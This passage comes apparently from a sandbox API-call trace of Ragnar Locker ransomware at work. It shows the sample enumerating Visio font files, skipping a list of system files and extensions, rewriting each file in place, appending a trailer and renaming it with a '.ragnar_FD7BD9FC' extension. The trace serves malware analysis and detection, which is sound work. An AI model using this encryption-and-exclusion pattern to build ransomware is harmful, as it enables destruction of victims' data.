lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0078.367] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.367] GetProcessHeap () returned 0x580000 [0078.367] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.367] CloseHandle (hObject=0x100) returned 1 [0078.367] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" [0078.367] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.ragnar_FD7BD9FC" [0078.367] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.367] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0078.367] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x49 [0078.367] lstrcpyW (in: lpString1=0x1eab74, lpString2="WHGTXT.SHX" | out: lpString1="WHGTXT.SHX") returned="WHGTXT.SHX" [0078.368] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX") returned=".SHX" [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="autorun.inf") returned 1 [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="boot.ini") returned 1 [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="bootfont.bin") returned 1 [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="bootsect.bak") returned 1 [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="bootmgr") returned 1 [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="bootmgr.efi") returned 1 [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="bootmgfw.efi") returned 1 [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="desktop.ini") returned 1 [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="iconcache.db") returned 1 [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="ntldr") returned 1 [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="ntuser.dat") returned 1 [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="ntuser.dat.log") returned 1 [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="ntuser.ini") returned 1 [0078.368] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="thumbs.db") returned 1 [0078.368] lstrcmpiW (lpString1=".SHX", lpString2=".db") returned 1 [0078.368] lstrcmpiW (lpString1=".SHX", lpString2=".sys") returned -1 [0078.368] lstrcmpiW (lpString1=".SHX", lpString2=".dll") returned 1 [0078.368] lstrcmpiW (lpString1=".SHX", lpString2=".lnk") returned 1 [0078.368] lstrcmpiW (lpString1=".SHX", lpString2=".msi") returned 1 [0078.368] lstrcmpiW (lpString1=".SHX", lpString2=".drv") returned 1 [0078.368] lstrcmpiW (lpString1=".SHX", lpString2=".exe") returned 1 [0078.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx")) returned 0x20 [0078.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0078.369] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=196069) returned 1 [0078.369] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x2fddc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.369] GetProcessHeap () returned 0x580000 [0078.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.369] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0078.371] VirtualAlloc (lpAddress=0x0, dwSize=0x2fde5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0078.371] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.371] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0078.371] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2fde5, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x2fde5, lpOverlapped=0x0) returned 1 [0078.375] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0078.376] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2fde5, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.376] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2fde5, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x2fde5, lpOverlapped=0x0) returned 1 [0078.377] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2fde5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.377] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.378] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x2fde5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.378] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.378] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.378] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.378] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0078.378] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.378] GetProcessHeap () returned 0x580000 [0078.378] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.378] CloseHandle (hObject=0x100) returned 1 [0078.378] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" [0078.378] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.ragnar_FD7BD9FC" [0078.378] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.379] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0078.379] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x49 [0078.379] lstrcpyW (in: lpString1=0x1eab74, lpString2="WHTGTXT.SHX" | out: lpString1="WHTGTXT.SHX") returned="WHTGTXT.SHX" [0078.379] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX") returned=".SHX" [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="autorun.inf") returned 1 [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="boot.ini") returned 1 [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="bootfont.bin") returned 1 [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="bootsect.bak") returned 1 [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="bootmgr") returned 1 [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="bootmgr.efi") returned 1 [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="bootmgfw.efi") returned 1 [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="desktop.ini") returned 1 [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="iconcache.db") returned 1 [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="ntldr") returned 1 [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="ntuser.dat") returned 1 [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="ntuser.dat.log") returned 1 [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="ntuser.ini") returned 1 [0078.379] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="thumbs.db") returned 1 [0078.379] lstrcmpiW (lpString1=".SHX", lpString2=".db") returned 1 [0078.380] lstrcmpiW (lpString1=".SHX", lpString2=".sys") returned -1 [0078.380] lstrcmpiW (lpString1=".SHX", lpString2=".dll") returned 1 [0078.380] lstrcmpiW (lpString1=".SHX", lpString2=".lnk") returned 1 [0078.380] lstrcmpiW (lpString1=".SHX", lpString2=".msi") returned 1 [0078.380] lstrcmpiW (lpString1=".SHX", lpString2=".drv") returned 1 [0078.380] lstrcmpiW (lpString1=".SHX", lpString2=".exe") returned 1 [0078.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx")) returned 0x20 [0078.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0078.380] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=648211) returned 1 [0078.380] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x9e40a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.380] GetProcessHeap () returned 0x580000 [0078.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.380] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0078.382] VirtualAlloc (lpAddress=0x0, dwSize=0x9e413, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0078.382] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.382] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0078.382] ReadFile (in: hFile=0x100, lpBuffer=0x21c0000, nNumberOfBytesToRead=0x9e413, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1ea45c*=0x9e413, lpOverlapped=0x0) returned 1 [0078.395] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0078.399] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9e413, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.399] WriteFile (in: hFile=0x100, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0x9e413, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1ea458*=0x9e413, lpOverlapped=0x0) returned 1 [0078.401] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9e413, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.401] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.404] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x9e413, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.404] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.404] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.404] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.404] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0078.404] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.404] GetProcessHeap () returned 0x580000 [0078.404] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.404] CloseHandle (hObject=0x100) returned 1 [0078.404] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" [0078.404] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.ragnar_FD7BD9FC" [0078.404] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.405] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0078.405] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x49 [0078.405] lstrcpyW (in: lpString1=0x1eab74, lpString2="WHTMTXT.SHX" | out: lpString1="WHTMTXT.SHX") returned="WHTMTXT.SHX" [0078.405] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX") returned=".SHX" [0078.405] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.405] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="autorun.inf") returned 1 [0078.405] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="boot.ini") returned 1 [0078.405] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="bootfont.bin") returned 1 [0078.405] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="bootsect.bak") returned 1 [0078.405] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="bootmgr") returned 1 [0078.405] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="bootmgr.efi") returned 1 [0078.405] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="bootmgfw.efi") returned 1 [0078.405] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="desktop.ini") returned 1 [0078.405] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="iconcache.db") returned 1 [0078.405] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="ntldr") returned 1 [0078.405] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="ntuser.dat") returned 1 [0078.405] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="ntuser.dat.log") returned 1 [0078.406] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="ntuser.ini") returned 1 [0078.406] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="thumbs.db") returned 1 [0078.406] lstrcmpiW (lpString1=".SHX", lpString2=".db") returned 1 [0078.406] lstrcmpiW (lpString1=".SHX", lpString2=".sys") returned -1 [0078.406] lstrcmpiW (lpString1=".SHX", lpString2=".dll") returned 1 [0078.406] lstrcmpiW (lpString1=".SHX", lpString2=".lnk") returned 1 [0078.406] lstrcmpiW (lpString1=".SHX", lpString2=".msi") returned 1 [0078.406] lstrcmpiW (lpString1=".SHX", lpString2=".drv") returned 1 [0078.406] lstrcmpiW (lpString1=".SHX", lpString2=".exe") returned 1 [0078.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx")) returned 0x20 [0078.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0078.406] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=916632) returned 1 [0078.406] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xdfc8f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.406] GetProcessHeap () returned 0x580000 [0078.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.406] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0078.408] VirtualAlloc (lpAddress=0x0, dwSize=0xdfc98, flAllocationType=0x3000, flProtect=0x4) returned 0x22c0000 [0078.408] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.408] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0078.408] ReadFile (in: hFile=0x100, lpBuffer=0x22c0000, nNumberOfBytesToRead=0xdfc98, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesRead=0x1ea45c*=0xdfc98, lpOverlapped=0x0) returned 1 [0078.426] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0078.431] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdfc98, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.431] WriteFile (in: hFile=0x100, lpBuffer=0x22c0000*, nNumberOfBytesToWrite=0xdfc98, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesWritten=0x1ea458*=0xdfc98, lpOverlapped=0x0) returned 1 [0078.434] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdfc98, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.434] VirtualFree (lpAddress=0x22c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.438] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xdfc98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.438] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.438] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.438] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.438] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0078.438] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 